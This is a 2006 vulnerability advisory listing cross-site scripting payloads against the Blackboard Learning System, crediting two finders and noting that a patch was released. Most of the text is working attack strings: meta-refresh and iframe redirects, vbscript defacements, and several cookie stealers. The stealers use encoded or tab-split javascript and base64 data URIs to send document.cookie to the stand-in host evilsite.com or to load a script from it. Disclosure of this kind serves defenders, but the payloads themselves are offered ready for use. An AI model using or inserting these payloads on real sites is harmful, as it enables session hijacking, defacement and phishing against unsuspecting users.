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Found by: PrOtOn & digi7al64

Date: May 20th 2006

Critical Level: High

Type: Multiple Cross Site Scripting (XSS) vunerabilities


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Software:
Blackboard Learning System (Release 6) Blackboard Learning and Community Portal Suite (Release6)-6.2.3.23


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Explanation: You can inject HTML, VB code and or Javascript into specific tags to steal
cookies, deface the site using frame busters or even redirect to external sites for phishing purposes.
If you have limited access, then a simple post into the Discussion Board using the right
tags with the right code (provided below) will execute the vulnerability(ies).


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About:
Blackboards parsing system only checks for the string "javascript", Thus vbscript code can be injected at will into tags as well as any versions of javascript that uses uncommon syntax (ie tabs encoding etc)

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Vulnerabilities:

Defacement (FrameBuster)
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<meta http-equiv="refresh"
content="15;url= http://evilsite.com">


Defacement (FrameBuster)
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<iframe src=" http://evilsite.com" width=100
height=100></iframe>


Defacement (IE ONLY)
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<img src=vbscript:document.write("defaced_by_insane_scr ipt_kiddies")>


Defacement (IE ONLY)
-------------------------
<link rel="stylesheet"
href=vbscript:document.write("defaced_by_insane_sc ript_kiddies")>

<img src=vb script:document.write("defaced_by_insane_script_ki ddies")>


Cookie Stealer (IE ONLY)
-------------------------

<img
src="vbscript:wintest=window.open(%22http://evilsite.com + document.cookie)"style=visibility:hidden/>
<img src="vbscript:window.focus ()"style=visibility:hidden/>
<img src="vbscript: window.close()"style=visibility:hidden/>


Cookie Stealer (IE ONLY)
-------------------------
<link rel="stylesheet"
href="vbscript:wintest=window.open(%22http://evilsite.com+document.cookie)">


Cookie Stealer (Encoded Tab - IE ONLY)
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<img
src="jav&#x09;ascript: document.images[1].src=%22http://evilsite.com+document.cookie;"<img src="jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hid den/>


Cookie Stealer (html encoded - IE ONLY)
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<img
src='&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105; &#112;document.images[1].s
rc=" http://evilsite.com"+document.cookie;'<img
src="jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hid den/>


Cookie Stealer (tabs - IE ONLY)
-------------------------
<img src="jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hid den/>


Cookie Stealer (body tag with tabs - IE ONLY)
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<body background="jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;">


Cookie Stealer (div tag with tabs - IE ONLY)
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<div style="background-image: url(jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie">


Cookie Stealer (firefox)
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<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly9ldmlsc2l0ZS 5jb20vY29va2llLmpzIj48L3NjcmlwdD4=">


Cookie Stealer (firefox - click to work)
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<a
href="data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly9ldmlsc2l0ZS 5jb20vY29va2llLmpzIj48L3NjcmlwdD4=">hmmm</a>


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Disclaimer:
Myself or any other person involved with this discovery will not be responsible for what you
do with this information.
Blackboard developers have been contacted by me and a patch has been released according to them.


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Shout Outs:
r0xes, criticalsecurity(dot)net, Infowar(dot)com


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Contact:
Pr070n(at)gmail(dot)com
Digi7al64(at)gmail(dot)com


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